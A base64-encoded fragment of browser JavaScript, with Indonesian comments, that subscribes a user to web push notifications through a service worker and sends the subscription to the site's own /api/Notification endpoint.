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AgLy8gUGFzdGlrYW4gU2VydmljZSBXb3JrZXIgc3VkYWggc2lhcCBzZWJlbHVtIHN1YnNjcmliZQogICAgICAgICAgICByZXR1cm4gbmF2aWdhdG9yLnNlcnZpY2VXb3JrZXIucmVhZHk7CiAgICAgICAgICB9KQogICAgICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlZ2lzdHJhdGlvbikgewogICAgICAgICAgICAvLyBTZXRlbGFoIFNlcnZpY2UgV29ya2VyIHNpYXAsIGxhbmp1dGthbiBrZSBzdWJzY3JpYmUKICAgICAgICAgICAgcmV0dXJuIHJlZ2lzdHJhdGlvbi5wdXNoTWFuYWdlci5zdWJzY3JpYmUoewogICAgICAgICAgICAgIHVzZXJWaXNpYmxlT25seTogdHJ1ZSwKICAgICAgICAgICAgICBhcHBsaWNhdGlvblNlcnZlcktleToKICAgICAgICAgICAgICAgICJCTzhWMUowaEtsVW15MXRxQ3p1bVg2aHMwNnJIaEhUcWtQd0M1OEhvWjNtYXl6cWpjdHJmdWxNU0RkWXk4ZXpLRzd1WmVVYVR3VmJjanhxWTBIVy1pVTgiLCAvLyBHYW50aSBkZW5nYW4gcHVibGljIFZBUElEIGtleSBBbmRhCiAgICAgICAgICAgIH0pOwogICAgICAgICAgfSkKICAgICAgICAgIC50aGVuKGZ1bmN0aW9uIChzdWJzY3JpcHRpb24pIHsKICAgICAgICAgICAgY29uc29sZS5sb2coCiAgICAgICAgICAgICAgIkJlcmhhc2lsIGJlcmxhbmdnYW5hbiBrZSBwdXNoIG5vdGlmaWNhdGlvbjoiLAogICAgICAgICAgICAgIHN1YnNjcmlwdGlvbgogICAgICAgICAgICApOwogICAgICAgICAgICAvLyBLaXJpbWthbiBzdWJzY3JpcHRpb24ga2Ugc2VydmVyCgogICAgICAgICAgICBmZXRjaCgiL2FwaS9Ob3RpZmljYXRpb24iLCB7CiAgICAgICAgICAgICAgbWV0aG9kOiAiUE9TVCIsCiAgICAgICAgICAgICAgYm9keTogSlNPTi5zdHJpbmdpZnkoewogICAgICAgICAgICAgICAgc3Vic2NyaXB0aW9uOiBzdWJzY3JpcHRpb24sCiAgICAgICAgICAgICAgICB1c2VyOiBkYXRhX3BlbmdndW5hLAogICAgICAgICAgICAgIH0pLAogICAgICAgICAgICAgIGhlYWRlcnM6IHsKICAgICAgICAgICAgICAgICJDb250ZW50LVR5cGUiOiAiYXBwbGljYXRpb24vanNvbiIsCiAgICAgICAgICAgICAgfSwKICAgICAgICAgICAgfSkKICAgICAgICAgICAgICAudGhlbihmdW5jdGlvbiAocmVzcG9uc2UpIHsKICAgICAgICAgICAgICAgIGNvbnNvbGUubG9nKCJTdWJzY3JpcHRpb24gZGlzaW1wYW4ga2Ugc2VydmVyOiIsIHJlc3BvbnNlKTsKICAgICAgICAgICAgICB9KQogICAgICAgICAgICAgIC5jYXRjaChmdW5jdGlvbiAoZXJyb3IpIHsKICAgICAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoIkVycm9yIHNlbmRpbmcgc3Vic2NyaXB0aW9uIHRvIHNlcnZlcjoiLCBlcnJvcik7CiAgICAgICAgICAgICAgfSk7CiAgICAgICAgICB9KQogICAgICAgICAgLnRoZW4oZnVuY3Rpb24gKHJlc3BvbnNlKSB7CiAgICAgICAgICAgIGNvbnNvbGUubG9nKCJTdWJzY3JpcHRpb24gZGlzaW1wYW4ga2Ugc2VydmVyOiIsIHJlc3BvbnNlKTsKICAgICAgICAgIH0pCiAgICAgICAgICAuY2F0Y2goZnVuY3Rpb24gKGVycm9yKSB7CiAgICAgICAgICAgIGNvbnNvbGUuZXJyb3IoIkVycm9yIHN1YnNjcmliaW5nIHRvIHB1c2ggbm90aWZpY2F0aW9uczoiLCBlcnJvcik7CiAgICAgICAgICB9KTsKICAgICAgfQogICAgfSBlbHNlIGlmIChwZXJtaXNzaW9uID09PSAiZGVuaWVkIikgewogICAgICBjb25zb2xlLmxvZygiUGVybWlzc2lvbiBkZW5pZWQgZm9yIG5vdGlmaWNhdGlvbnMiKTsKICAgIH0gZWx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